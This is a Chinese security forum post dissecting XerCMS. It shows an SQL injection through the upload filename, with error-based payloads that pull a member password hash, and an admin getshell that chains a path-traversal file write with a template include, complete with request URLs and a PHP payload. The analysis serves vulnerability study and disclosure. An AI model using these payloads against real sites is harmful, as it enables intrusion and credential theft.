查看: 44132|回复: 6

[文章] xercms前台注入和后台getshell

[复制链接]
发表于 2016-12-6 20:57:23 | 显示全部楼层 |阅读模式
本帖最后由 ByHuaiNian 于 2016-12-6 22:07 编辑

0x00.序言
前台insert类型注入,是因为上传文件时对文件名没有有效过滤就进行insert操作而造成的。后台getshell虽然有些鸡助,但是感觉这个思路还是有些意思的,就跟大家分享一下QAQ~


0x01.路由分析

我们还是先来分析一下cms的路由,


Assets文件夹主要是放着一些flash,js,css,文本编辑器等。install放着安装cms的功能文件。template是模板文件夹。upfiles是上传文件夹。xercms则是整个cms的核心文件夹。xercms文件夹中modules文件夹主要存放前台文件,services主要存放后台文件
根目录下index.php 为入口文件,我们来看下入口文件,

[PHP] 纯文本查看 复制代码
ini_set( 'display_errors', 'Off' );
error_reporting(0);
define( 'XERCMS_DEBUG', true );
require ('XerCMS/Kernel.php' );
X:: $G[ 'urlpath' ] = substr($_SERVER['SCRIPT_NAME' ],0,-9);
X::Init ();
X::load ();


可以看到首先包含了xercms文件夹下的kernel.php文件。然后调用该类的2个重要的静态方法,init()和load()
init()方法主要是初始化了一些配置,我们主要看的是load()方法,它是控制cms路由的核心

[PHP] 纯文本查看 复制代码
public static function load($tpl = '') {
            $G = &X:: $G ;
            X:: $G ['enter' ] = g( 'e');
            X:: $G ['enter' ] = empty(X:: $G ['enter' ]) ? 'index' : X::$G ['enter' ];
            self ::check(X:: $G ['enter' ]);
            if (isset ($_GET[ 'm'])) {
                 X:: $G ['module' ] = g( 'm');
                 self ::check(X:: $G ['module' ]);
                 if (!X::$G ['CYK' ] && !in_array(X::$G ['module' ], self:: $CONFIG[ 'modules' ])) {
                    showtips( 'module_noexists' ,X::$G ['urlpath' ]);
                 }
           define( 'DIR' ,INC.'Modules/' .X:: $G[ 'module' ].'/' );
           X:: $G ['action' ]  = (string)g( 'a', 'XerCMS');
           self ::check(X:: $G ['a' ]);
           hooks(1,1);
           include (DIR.X:: $G[ 'enter']. '.php' );
           $XM = 'XerCMS_MODULE_' .X::$G ['enter' ];
           if (class_exists($XM, false)) {
                $Xer = new $XM();//print_r($Xer);exit;
                hooks(2,1);
                if (method_exists($Xer,X:: $G[ 'action']))
                     $Xer->$G[ 'action']();
           }
                 hooks(5,1);
            } else if (isset ($_GET[ 's'])) {
                 X:: $G ['service' ] = (string)g( 's');
                 self ::check(X:: $G ['service' ]);
                 X:: $G ['action' ]  = (string)g( 'a', 'xercms');
                 self ::check(X:: $G ['a' ]); //print_r(X::$G);exit;
                 define( 'DIR' ,INC.'Services/' .X:: $G[ 'service' ].'/' );
                 X:: $G ['module' ] = &X:: $G[ 'service' ];
                 hooks(1,3);
                 self ::import(X:: $G ['enter' ].'.php' ,DIR);
                 $SN = 'Service_' .X::$G ['service' ].'_' .X:: $G[ 'enter' ];
                 if (class_exists($SN, false)) {
                    $Xer = new $SN();//print_r($Xer);exit;
                    hooks(2,3);
                    if (method_exists($Xer,X:: $G[ 'action']))
                          $Xer->$G[ 'action']();
               }
               hooks(5,3);
            } else {
               X:: $G ['module' ] = 'home';
               X:: $G ['enter' ] = '';
               hooks(1,5);
               include (tpl('common/xercms.htm' ));
               hooks(5,5);
            }
          exit ;
     }
}



为了方便大家看我简化了一下代码,去掉了一些不常用的判断。我们来根据url分析一下这个方法

http://localhost/zend/xercms/?m=archives&a=column&column=2
根据代码可以看出这里面有3个重要的变量 m,s,a,e。
m,s代表模块名,a代表调用的方法(默认为xercms),e代表调用的文件名(默认为index)。
根据流程首先会先接受e的值(文件名),再判断m和s是否存在。如果都不存在则默认调用首页的模板文件。如果存在m则代表调用的是前台的某个模块,s存在则代表调用后台。注意这4个变量的值都会调用check方法进行判断,只能为字母和数组还有下划线,否则页面跳转并exit程序结束。

前台和后台的处理流程大致相同,只不过是路径有所差距。我们这里就拿前台的流程来说,先接收m的值(也就是模块名),文件夹路径则为/modules/模块名/,接收a的值(也就是方法名),根据e的值和先前的路径生成包含文件的路径和文件名并包含,确定该文件中类名,前台类名都为XerCMS_MODULE_文件名,然后判断类是否存在,声明该类的对象,判断该类中方法是否存在,存在则调用。

我们可以清楚的看到通过这4个变量就控制了整个cms的路由。根据改变4个变量的值就可以调用固定目录下的某个文件的方法,前台的固定目录为modules下,modules下有4个以模块名命名的文件夹,后台固定目录为services,也有4个以模块名命名的文件夹。


0x02.前台insert注入

这个注入发生点有2处,都是上传图片时insert文件名而没有对文件名进行有效过滤造成的注入。

这两处注入都需要先注册个账号并登陆,

第一处注入在会员中心->个人资料->上传头像处,url为http://localhost/zend/xercms/index.php?m=member&a=profile,上传并抓包



调用的是xercms/modules/member/index.php 中的upfiles方法,其中通过c('upload')->files(); 完成了上传文件的操作。我们进跟进一下,调用是xercms/library/XerCMS_upload.php文件中的files方法,files方法又调用了file方法

[PHP] 纯文本查看 复制代码
function file($name) {
        if (isset ($_FILES[$name][ 'tmp_name']) && !empty ($_FILES[$name]['tmp_name' ])) {
                  $ext = $this->ext($_FILES[$name][ 'name' ]);
        if (in_array(strtolower($ext),$this-> forbid) || preg_match('/([^a-z0-9])/i' ,$ext,$match)) {
                  $this-> result [$name]['error' ] = 'Ext'; return;
        }
        if (!empty ($this-> config[ 'maxsize']) && $_FILES[$name]['size' ] > $this->config ['maxsize' ]) {
                  $this-> result [$name]['error' ] = 'Size'; return;
        }
        $rid = $this->record($_FILES[$name]);
        $this->dir($this-> config ['path' ],$rid,$ext);
        if (is_uploaded_file($_FILES[$name]['tmp_name' ])) {
            if (move_uploaded_file($_FILES[$name]['tmp_name' ],$this->name($rid)) == false ) {
                  $this->delrid($rid);
                   $this-> result [$name]['error' ] = 'Move'; return;
            } else {
                    //chmod($this->name($rid),0644);
            }
....//


对文件的上传操作我们就不详细说了。关键看第10行代码,$rid = $this->record($_FILES[$name]); 调用了record方法,并将$_FILES数组传了进去。继续跟踪一下

[PHP] 纯文本查看 复制代码
function record($upfile) {
      if (X::$G ['uid' ]) {
               DB::add( 'xercms_member_count', array ('upload' =>$upfile[ 'size']), array ('uid' =>X:: $G[ 'uid' ]));
      }
      DB:: insert( 'xercms_member_upfiles',
            array ('uid' =>X:: $G[ 'uid' ],
                'size' =>$upfile['size' ],
                'name' =>$upfile['name' ],
                'time' =>X:: $G[ 'time'],
                'ip' =>X:: $G[ 'ip'],
               'type' =>$this->cid ));
      return DB::lastid();
}


可以看到调用了insert方法,这里对$upfile['name' ] 文件名并没有进行任何过滤,该方法会返回insert成功后的id值,注意$_FILES[$name]['name']并不是最终上传后的文件名,而这个id值则是最终上传的文件名。
我们跟进insert方法来看一下,在xercms/library/XerCMS_db.php文件中。

[PHP] 纯文本查看 复制代码
static function insert($table,$fields) {
     if (empty ($fields)) {
          return ;
     }
     foreach ($fields as $k=>$v) {
          $content[] = '`' .DB::filter($k, 'f' ).'` = \''.DB:: filter($v).'\'' ;
     }
     self ::query( 'INSERT INTO ' .$table.' SET '.implode( ',',$content), self ::$connect );
     return self ::lastid();
}


第6行代码可以看到在insert方法中进行了过滤。然后调用了query方法。跟进filter方法来看一下过滤规则

[PHP] 纯文本查看 复制代码
static function filter($str,$t = '') {
            $str = (string)$str;
             switch ($t) {
                   case 'f':
                         return preg_replace('/([^a-z0-9_])/i' ,'' ,$str);
                   break ;
                   default :
                         return trim($str,'\\' );
                   break ;
            }
}


可以看到针对key 将不是字母和数字还有下划线的其他字符替换成了'',而对value只是过滤了\,所以是可以造成注入的,接下来跟进query方法

[PHP] 纯文本查看 复制代码
static function query($sql,$check = true ) {
      self:: $connect || DB::connect();
      $res = mysql_query($sql, self:: $connect) ;
      if(!$res) {
            self ::$error = mysql_error() ;
            file_put_contents(INC.'Logs/Database/' .date( 'Y-m-d',time()). '.php' ,'<?php exit(\'Access Denied\'); ?>'. "\r\n". self ::$error ."\r\n" .$sql. "\r\n\r\n",FILE_APPEND);
            if (!self :: $debug) {
                   self ::error( mysql_errno(), self:: $error);
            }
      }
      return $res;
}


可以看到如果发生错误,则会调用第8行代码的error方法,而error方法中又输出出了异常信息,所以我们可以用显错注入来获取数据。

那么payload为:
[HTML] 纯文本查看 复制代码
tnt' or updatexml(1,concat(0x7e,(version())),0) or '.jpg




最终payload:
[HTML] 纯文本查看 复制代码
tnt' or updatexml(1,concat(0x7e,(select substr(concat(pass),1,31) from xercms_member limit 0,1)),0) or '.jpg




注意这里需要用substr来截取字符

第二处注入发生在论坛服务->发帖或者回复时,调用了ueditor插件,但是都对源代码进行了补充,在上传图片后都对原先的图片名进行了insert操作,对文件名没有进行有效的过滤,然后调用的是同一个insert方法。他们的原理是一样的,这里就不继续说了。





0x03.后台getshell
首先我们来看xercms/services/admin/forms.php文件的updateTemplate方法,url访问为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate

[PHP] 纯文本查看 复制代码
function updateTemplate() {
          $sname = g( 'sname' );$data = stripslashes(p('content' ));
          file_put_contents(INC.'Data/forms/template/' .$sname. '.htm',$data);
          $this->tips( 'finish' ,dreferer());
}


先接收get参数sname,然后接收post参数content,而content只是调用stripslashes()方法去掉了反斜线。
然后调用file_put_contents来写入文件,$sname和$data都是可控的。但是文件后缀却是.htm的。这样我们就不能直接写入php文件了。

我们先写入htm文件。
url为:http://localhost/zend/xercms/?s=admin&e=forms&a=updateTemplate&sname=../../../../1
post参数为:content=<?php phpinfo()?>
这样就在根目录下写入了1.htm文件



这时候我们要找找有没有地方可以利用我们写入的htm文件。
来看xercms/services/admin/member.php文件的editmember方法
[PHP] 纯文本查看 复制代码
function editmember() {
            $id = int1(g( 'id'));
            $model = g( 'model' ,'personal' );
            $member = memberdata($id);
            $member = array_merge($member,i('m.member' )->getProperty($id,$model));
            include_once ($this->tpl('header.htm' ));
            include_once ($this->tpl('../../../Data/member/model/template/' .$model. '.htm'));
}


可以看到这里接收的get参数model没有进行过滤,而且包含文件的后缀正好是.htm,我们就可以控制$model的值来调整路径和文件名。这时候将文件路径传入tpl方法中,我们跟踪一下。
在xercms/library/XerCMS_admin.php中的tpl方法

[PHP] 纯文本查看 复制代码
function tpl($path)
     {
          $CacheName = md5($path);
          if (file_exists(INC.'Caches/template/' .$CacheName. '.php') && 1 == 2) {
               return INC.'Caches/template/' .$CacheName. '.php';
          } else {
               if (X::$compiler == NULL) {
                    X:: import( 'compiler');
                    X:: $compiler = new compiler();
               }
               X::$compiler ->Set('XerCMS/Services/' .$this-> Path. '/template/',$path);
               X:: $compiler ->parse();
               $tpl = X:: $compiler ->file();
               return $tpl;
          }
     }


先将$path md5加密并赋值给$CacheName 。然后判断xercms/caches/template/下有没有$CacheName这个文件,有就直接返回文件路径,没有就进行下面的操作,
我们主要来看11行代码的set方法。
在xercms/library/XerCMS_compiler.php中。

[PHP] 纯文本查看 复制代码
public function Set($dir,$file,$cacheId = '') {
           $this-> cacheId =  empty($cacheId) ? md5($dir.$file) : $cacheId;
           $this-> tplDir = $dir;
            $this-> currDir = dirname($dir.$file).'/' ;
            $this-> html = $this->tpl($file);
      }

       public function tpl($file) {
           if ($file == NULL)
                 return '';
           if (strpos($file,'/' ) !== false) {
                 $file = $this-> tplDir .$file;
            } else $file = $this->currDir .$file;
          $file = XERCMS.$file;
           if (is_file($file)) {
                 return file_get_contents($file);
            } else throw new TpError($file.' is not exist!' );
      }


在set方法中调用了tpl方法,可以看到将文件的内容用file_get_contents读了出来并赋值给了$this->html。

然后再看XerCMS_admin.php中tpl方法的第13行,$tpl = X:: $compiler ->file(); 调用了file方法在xercms/caches/template/生成了文件名为md5加密后的php文件,并将$this->html的值写入了进去。最后返回该文件的路径。

最后在editmember方法中在将该文件包含,可以看到包含的并不是我们写入的.htm文件,而是会在xercms/caches/template/下生成一个php文件,根据我们传入的文件路径找到我们的htm文件,将内容读出并写入到生成的php文件中,最后返回生成的php文件的路径,再将其包含。

最后我们来看下这个文件的内容。xercms/caches/template/6142a0d2f3b02d780b49bae380e1109d.php



这里有个关键的地方就是先判断常量XERCMS是否存在,这里加了!号,所以false为满足条件,true不满足条件,而这个常量是存在的为true,不满足条件,&&后面的exit就不会执行了。然后会执行后面的phpinfo(),如果满足条件则会继续执行&&后面的exit,这样就不能执行我们写入的php代码了。

url:http://localhost/zend/xercms/?s=admin&a=editmember&e=member&id=1&model=../../../../../1



因为要过后台的登录验证,有exit。不能直接拿菜刀连,我们可以在根目录下写入一个php文件就可以直接连了。



这样执行这些代码就能再根目录下写入一个2.php的文件,INC为cms自己定义的路径常量。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×

评分

参与人数 1i币 +3 收起 理由
邮政 + 3 支持原创

查看全部评分

回复

使用道具 举报

发表于 2016-12-7 09:44:11 | 显示全部楼层
这个口以啊
回复 支持 反对

使用道具 举报

发表于 2016-12-7 09:45:24 | 显示全部楼层
支持大牛这么详细的讲解。支持
回复 支持 反对

使用道具 举报

发表于 2016-12-7 11:49:08 | 显示全部楼层
学习走一波,就是要看懂这篇文章还要好久的时间!
回复 支持 反对

使用道具 举报

发表于 2016-12-7 17:08:35 | 显示全部楼层
这篇文章的含金量,是今天我看到站内网站中最高的
回复 支持 反对

使用道具 举报

发表于 2016-12-10 18:15:25 | 显示全部楼层
很不错的分析
回复 支持 反对

使用道具 举报

发表于 2016-12-12 21:15:29 | 显示全部楼层
好牛的实力
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 04:13 , Processed in 0.024139 second(s), 13 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部